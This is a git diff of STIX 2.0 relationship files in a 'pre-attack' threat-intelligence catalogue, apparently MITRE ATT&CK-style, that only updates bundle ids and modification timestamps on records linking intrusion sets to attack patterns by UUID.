@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3df07d15-21d3-4fcd-983f-7450dfd67502",
+    "id": "bundle--59cdefc6-26b4-42fa-949d-f7283eac3d06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51c20b46-16cc-4b58-80d7-89d48b14b064",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5",
             "target_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1",
diff --git a/pre-attack/relationship/relationship--51d03816-347c-4716-9524-da99a58f5ea6.json b/pre-attack/relationship/relationship--51d03816-347c-4716-9524-da99a58f5ea6.json
index eeaf91d82b..b96b17c6f8 100644
--- a/pre-attack/relationship/relationship--51d03816-347c-4716-9524-da99a58f5ea6.json
+++ b/pre-attack/relationship/relationship--51d03816-347c-4716-9524-da99a58f5ea6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5c1f1e9c-d086-421a-b194-1f13c89958e9",
+    "id": "bundle--3f1df0a7-e7ea-4abc-8e63-3bb29f3070b1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51d03816-347c-4716-9524-da99a58f5ea6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--d3999268-740f-467e-a075-c82e2d04be62",
diff --git a/pre-attack/relationship/relationship--545cd36e-572e-413d-82b9-db65788791f9.json b/pre-attack/relationship/relationship--545cd36e-572e-413d-82b9-db65788791f9.json
index 9179f39a30..3468633a20 100644
--- a/pre-attack/relationship/relationship--545cd36e-572e-413d-82b9-db65788791f9.json
+++ b/pre-attack/relationship/relationship--545cd36e-572e-413d-82b9-db65788791f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3984c800-f225-4201-8c3e-86e77c004f4f",
+    "id": "bundle--c8a8ba21-4d1f-4f9a-83f2-568c13956bfa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--545cd36e-572e-413d-82b9-db65788791f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "target_ref": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4",
diff --git a/pre-attack/relationship/relationship--57723021-1eb3-4bf2-86eb-fdbf8a1b8125.json b/pre-attack/relationship/relationship--57723021-1eb3-4bf2-86eb-fdbf8a1b8125.json
index e16781149a..baa35d54c3 100644
--- a/pre-attack/relationship/relationship--57723021-1eb3-4bf2-86eb-fdbf8a1b8125.json
+++ b/pre-attack/relationship/relationship--57723021-1eb3-4bf2-86eb-fdbf8a1b8125.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--318fe280-6f0d-4a50-858f-57c5dda47880",
+    "id": "bundle--5257e315-dc52-4ae0-b620-bd4490198798",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--57723021-1eb3-4bf2-86eb-fdbf8a1b8125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
diff --git a/pre-attack/relationship/relationship--597be8e7-58a4-4aff-a803-48a7a08164a2.json b/pre-attack/relationship/relationship--597be8e7-58a4-4aff-a803-48a7a08164a2.json
index 0cc8b4508c..83aac1ba7f 100644
--- a/pre-attack/relationship/relationship--597be8e7-58a4-4aff-a803-48a7a08164a2.json
+++ b/pre-attack/relationship/relationship--597be8e7-58a4-4aff-a803-48a7a08164a2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d1c62ac-1412-481b-be77-326eb44fd532",
+    "id": "bundle--258a70a0-e14a-42a5-8ed4-47b3509b3371",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--597be8e7-58a4-4aff-a803-48a7a08164a2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "target_ref": "attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957",
diff --git a/pre-attack/relationship/relationship--5aab758c-79d2-4219-9053-f50791d98531.json b/pre-attack/relationship/relationship--5aab758c-79d2-4219-9053-f50791d98531.json
index be8596f090..2df9e5fd96 100644
--- a/pre-attack/relationship/relationship--5aab758c-79d2-4219-9053-f50791d98531.json
+++ b/pre-attack/relationship/relationship--5aab758c-79d2-4219-9053-f50791d98531.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7036a8ca-f688-486b-aae7-2b1f5681dc2e",
+    "id": "bundle--d57e2bbd-4c77-4006-8d0d-d147ac1d60c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5aab758c-79d2-4219-9053-f50791d98531",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957",
diff --git a/pre-attack/relationship/relationship--5dc0b076-5f25-4bda-83c7-1d8bd214b81a.json b/pre-attack/relationship/relationship--5dc0b076-5f25-4bda-83c7-1d8bd214b81a.json
index 71b2af596a..fa13a9e55a 100644
--- a/pre-attack/relationship/relationship--5dc0b076-5f25-4bda-83c7-1d8bd214b81a.json
+++ b/pre-attack/relationship/relationship--5dc0b076-5f25-4bda-83c7-1d8bd214b81a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6cc8da57-4b86-43b6-aa06-2c9b8c1a7e6c",
+    "id": "bundle--a090316d-0684-478c-8f38-1e21b46243da",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--5dc0b076-5f25-4bda-83c7-1d8bd214b81a",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
             "target_ref": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6",
diff --git a/pre-attack/relationship/relationship--5ed44a06-bcb4-4293-8bf4-aaebefddc09c.json b/pre-attack/relationship/relationship--5ed44a06-bcb4-4293-8bf4-aaebefddc09c.json
index 7a67449b0c..e75363d0ca 100644
--- a/pre-attack/relationship/relationship--5ed44a06-bcb4-4293-8bf4-aaebefddc09c.json
+++ b/pre-attack/relationship/relationship--5ed44a06-bcb4-4293-8bf4-aaebefddc09c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ba956286-ed7a-4c95-b02f-9fa6658d5b75",
+    "id": "bundle--eec27c18-f2c7-4179-a8ff-de09f2fa6a43",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5ed44a06-bcb4-4293-8bf4-aaebefddc09c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
diff --git a/pre-attack/relationship/relationship--60b6c9a6-7705-4c72-93bb-67de0caf11f4.json b/pre-attack/relationship/relationship--60b6c9a6-7705-4c72-93bb-67de0caf11f4.json
index 59e216378f..b07b5687a3 100644
--- a/pre-attack/relationship/relationship--60b6c9a6-7705-4c72-93bb-67de0caf11f4.json
+++ b/pre-attack/relationship/relationship--60b6c9a6-7705-4c72-93bb-67de0caf11f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--73d41c98-3325-47bc-903c-b01281e4a771",
+    "id": "bundle--a34095b7-6680-4178-acba-16057eaf7265",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--60b6c9a6-7705-4c72-93bb-67de0caf11f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
             "target_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
diff --git a/pre-attack/relationship/relationship--60e79ac2-3dc1-4005-a1f8-260d58117dab.json b/pre-attack/relationship/relationship--60e79ac2-3dc1-4005-a1f8-260d58117dab.json
index 375e3ec4f0..d530660857 100644
--- a/pre-attack/relationship/relationship--60e79ac2-3dc1-4005-a1f8-260d58117dab.json
+++ b/pre-attack/relationship/relationship--60e79ac2-3dc1-4005-a1f8-260d58117dab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--78dffc1a-f2fc-4c07-9e76-4bc3766503b8",
+    "id": "bundle--d1c4f7fa-6c78-4414-a87d-61a90126596f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--60e79ac2-3dc1-4005-a1f8-260d58117dab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
diff --git a/pre-attack/relationship/relationship--614f64d8-c221-4789-b1e1-787e9326a37b.json b/pre-attack/relationship/relationship--614f64d8-c221-4789-b1e1-787e9326a37b.json
index fbcb6e2db4..68e0df8661 100644
--- a/pre-attack/relationship/relationship--614f64d8-c221-4789-b1e1-787e9326a37b.json
+++ b/pre-attack/relationship/relationship--614f64d8-c221-4789-b1e1-787e9326a37b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c2cdf14-3aec-471f-a5da-fe2c753bc20d",
+    "id": "bundle--47f89c49-e6eb-4571-941c-2fae4ae76cc6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--614f64d8-c221-4789-b1e1-787e9326a37b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "target_ref": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201",
diff --git a/pre-attack/relationship/relationship--6238613d-8683-420d-baf7-6050aa27eb9d.json b/pre-attack/relationship/relationship--6238613d-8683-420d-baf7-6050aa27eb9d.json
index d1b109e574..bfef84e6c8 100644
--- a/pre-attack/relationship/relationship--6238613d-8683-420d-baf7-6050aa27eb9d.json
+++ b/pre-attack/relationship/relationship--6238613d-8683-420d-baf7-6050aa27eb9d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--04f256a7-17b0-4f61-8ab1-f5ec0658cbef",
+    "id": "bundle--9d7058f8-b41c-4d85-8fd8-fd44dd2a7b17",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6238613d-8683-420d-baf7-6050aa27eb9d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
diff --git a/pre-attack/relationship/relationship--643d984b-0c82-4e14-8ba9-1b8dec0c91e2.json b/pre-attack/relationship/relationship--643d984b-0c82-4e14-8ba9-1b8dec0c91e2.json
index 838495d9d0..8474b4b1b6 100644
--- a/pre-attack/relationship/relationship--643d984b-0c82-4e14-8ba9-1b8dec0c91e2.json
+++ b/pre-attack/relationship/relationship--643d984b-0c82-4e14-8ba9-1b8dec0c91e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de445f25-fc75-4bde-8ad6-a52e71e4d5a0",
+    "id": "bundle--5197dfdd-392c-495b-955d-849ab9a29690",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--643d984b-0c82-4e14-8ba9-1b8dec0c91e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca",
diff --git a/pre-attack/relationship/relationship--66e4da4a-6eb6-46e0-9baf-74059f341b4a.json b/pre-attack/relationship/relationship--66e4da4a-6eb6-46e0-9baf-74059f341b4a.json
index d27beb00ed..a97acef5f1 100644
--- a/pre-attack/relationship/relationship--66e4da4a-6eb6-46e0-9baf-74059f341b4a.json
+++ b/pre-attack/relationship/relationship--66e4da4a-6eb6-46e0-9baf-74059f341b4a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67e0fa60-9f35-4f92-8331-fa4b5937096d",
+    "id": "bundle--9450a2ba-a785-42ad-bf20-c0e6ca4f7894",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--66e4da4a-6eb6-46e0-9baf-74059f341b4a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1",
             "target_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5",
diff --git a/pre-attack/relationship/relationship--683d4e44-f763-492c-b510-fa469a923798.json b/pre-attack/relationship/relationship--683d4e44-f763-492c-b510-fa469a923798.json
index 04d4a28c15..fedbb79f04 100644
--- a/pre-attack/relationship/relationship--683d4e44-f763-492c-b510-fa469a923798.json
+++ b/pre-attack/relationship/relationship--683d4e44-f763-492c-b510-fa469a923798.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--464e872c-2435-411f-9ded-bc2810145a64",
+    "id": "bundle--216dd11b-531f-4bda-a7cf-c8744f69ecd1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--683d4e44-f763-492c-b510-fa469a923798",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64",
diff --git a/pre-attack/relationship/relationship--689ebb39-52f4-4b2f-8678-72cfed67cb9f.json b/pre-attack/relationship/relationship--689ebb39-52f4-4b2f-8678-72cfed67cb9f.json
index a7a7ff657f..39db564e30 100644
--- a/pre-attack/relationship/relationship--689ebb39-52f4-4b2f-8678-72cfed67cb9f.json
+++ b/pre-attack/relationship/relationship--689ebb39-52f4-4b2f-8678-72cfed67cb9f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7d962304-4e68-4fb6-b328-84ec87b83cd4",
+    "id": "bundle--402bcb6f-eb76-4599-9d8d-dfede6565e19",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--689ebb39-52f4-4b2f-8678-72cfed67cb9f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1",
             "target_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407",
diff --git a/pre-attack/relationship/relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0.json b/pre-attack/relationship/relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0.json
index c88a4591a4..2907386d6f 100644
--- a/pre-attack/relationship/relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0.json
+++ b/pre-attack/relationship/relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--80c5dbbf-d92a-4f96-9ae3-0606daeaa321",
+    "id": "bundle--d63e3098-e515-4796-95eb-29630f20318c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
             "target_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
diff --git a/pre-attack/relationship/relationship--6cfc9229-9928-414e-bfaf-f63e815b4c84.json b/pre-attack/relationship/relationship--6cfc9229-9928-414e-bfaf-f63e815b4c84.json
index d0977972bf..314f351cb2 100644
--- a/pre-attack/relationship/relationship--6cfc9229-9928-414e-bfaf-f63e815b4c84.json
+++ b/pre-attack/relationship/relationship--6cfc9229-9928-414e-bfaf-f63e815b4c84.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--12b919e7-5d8e-45aa-8658-92e26e36414d",
+    "id": "bundle--90d4a863-61a2-4d2b-891e-26b2fe0b5074",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6cfc9229-9928-414e-bfaf-f63e815b4c84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
diff --git a/pre-attack/relationship/relationship--6d809b32-a5db-4e1e-bea6-ef29a2c680e5.json b/pre-attack/relationship/relationship--6d809b32-a5db-4e1e-bea6-ef29a2c680e5.json
index e6da33b001..0cf6839265 100644
--- a/pre-attack/relationship/relationship--6d809b32-a5db-4e1e-bea6-ef29a2c680e5.json
+++ b/pre-attack/relationship/relationship--6d809b32-a5db-4e1e-bea6-ef29a2c680e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93035cb6-02ab-425f-88f9-5e9f28bc34c7",
+    "id": "bundle--3edf1737-e045-4fe6-907a-0c324e76e2de",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--6d809b32-a5db-4e1e-bea6-ef29a2c680e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234",
diff --git a/pre-attack/relationship/relationship--709bb5af-c484-48f2-bb19-bd7630e42e2d.json b/pre-attack/relationship/relationship--709bb5af-c484-48f2-bb19-bd7630e42e2d.json
index ee11bbab8e..c73b35d8f7 100644
--- a/pre-attack/relationship/relationship--709bb5af-c484-48f2-bb19-bd7630e42e2d.json
+++ b/pre-attack/relationship/relationship--709bb5af-c484-48f2-bb19-bd7630e42e2d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dae14631-8789-4e37-8fe5-fd27e340f848",
+    "id": "bundle--5c0abd50-5d1d-480b-8d44-05305b5dca72",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--709bb5af-c484-48f2-bb19-bd7630e42e2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
diff --git a/pre-attack/relationship/relationship--715a66b4-7925-40b4-868a-e47aba879f8b.json b/pre-attack/relationship/relationship--715a66b4-7925-40b4-868a-e47aba879f8b.json
index a862a5e3cc..e61c27069d 100644
--- a/pre-attack/relationship/relationship--715a66b4-7925-40b4-868a-e47aba879f8b.json
+++ b/pre-attack/relationship/relationship--715a66b4-7925-40b4-868a-e47aba879f8b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea02f3b4-2c92-4266-9ce8-93e8ed3bd388",
+    "id": "bundle--c9e6ca44-cfd8-4ddc-8432-72b2b149e55f",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--715a66b4-7925-40b4-868a-e47aba879f8b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc",
             "target_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41",
diff --git a/pre-attack/relationship/relationship--75c781d7-f9ef-42c8-b610-0dc1ecb3b350.json b/pre-attack/relationship/relationship--75c781d7-f9ef-42c8-b610-0dc1ecb3b350.json
index 1ba0cbdfef..5f8c7df689 100644
--- a/pre-attack/relationship/relationship--75c781d7-f9ef-42c8-b610-0dc1ecb3b350.json
+++ b/pre-attack/relationship/relationship--75c781d7-f9ef-42c8-b610-0dc1ecb3b350.json
@@ -1,6 +1,6 @@
 {
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-    "id": "bundle--7deec709-e8f7-475c-be5a-8c6804206cba",
+    "id": "bundle--21af692f-5943-448a-b063-11bda23b78a7",
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@@ -8,7 +8,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa",
diff --git a/pre-attack/relationship/relationship--7a254f4d-c7cf-4b98-94e9-3937785b7d68.json b/pre-attack/relationship/relationship--7a254f4d-c7cf-4b98-94e9-3937785b7d68.json
index 3affebbe6f..49c1a90b60 100644
--- a/pre-attack/relationship/relationship--7a254f4d-c7cf-4b98-94e9-3937785b7d68.json
+++ b/pre-attack/relationship/relationship--7a254f4d-c7cf-4b98-94e9-3937785b7d68.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4e6d0253-409d-47b1-a4c1-2c0b821a04b4",
+    "id": "bundle--fa85aca1-f937-4132-8d97-5921b57f30d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7a254f4d-c7cf-4b98-94e9-3937785b7d68",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7",
diff --git a/pre-attack/relationship/relationship--7aaa32b6-73f3-4b6e-98ae-da16976e6003.json b/pre-attack/relationship/relationship--7aaa32b6-73f3-4b6e-98ae-da16976e6003.json
index 6e9e53916a..c35f7bef73 100644
--- a/pre-attack/relationship/relationship--7aaa32b6-73f3-4b6e-98ae-da16976e6003.json
+++ b/pre-attack/relationship/relationship--7aaa32b6-73f3-4b6e-98ae-da16976e6003.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b6c6314b-a9ca-4398-b7fc-3cf2016ef072",
+    "id": "bundle--f7724599-af5c-477a-975a-d091b4708f8e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7aaa32b6-73f3-4b6e-98ae-da16976e6003",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
             "target_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73",
diff --git a/pre-attack/relationship/relationship--7bd3d2ba-f114-4835-97b6-1c3e2208d3f3.json b/pre-attack/relationship/relationship--7bd3d2ba-f114-4835-97b6-1c3e2208d3f3.json
index 2995d2d51e..d76c4b27e7 100644
--- a/pre-attack/relationship/relationship--7bd3d2ba-f114-4835-97b6-1c3e2208d3f3.json
+++ b/pre-attack/relationship/relationship--7bd3d2ba-f114-4835-97b6-1c3e2208d3f3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6e77071c-4f84-4c44-8342-6c26c48ed9d9",
+    "id": "bundle--693ffbfc-69a1-4ec4-ad77-691c86f68f0b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7bd3d2ba-f114-4835-97b6-1c3e2208d3f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
             "target_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41",
diff --git a/pre-attack/relationship/relationship--7c68bb22-457e-4942-9e07-36f6cd5ac5ba.json b/pre-attack/relationship/relationship--7c68bb22-457e-4942-9e07-36f6cd5ac5ba.json
index aa469a7aee..03cb61609f 100644
--- a/pre-attack/relationship/relationship--7c68bb22-457e-4942-9e07-36f6cd5ac5ba.json
+++ b/pre-attack/relationship/relationship--7c68bb22-457e-4942-9e07-36f6cd5ac5ba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
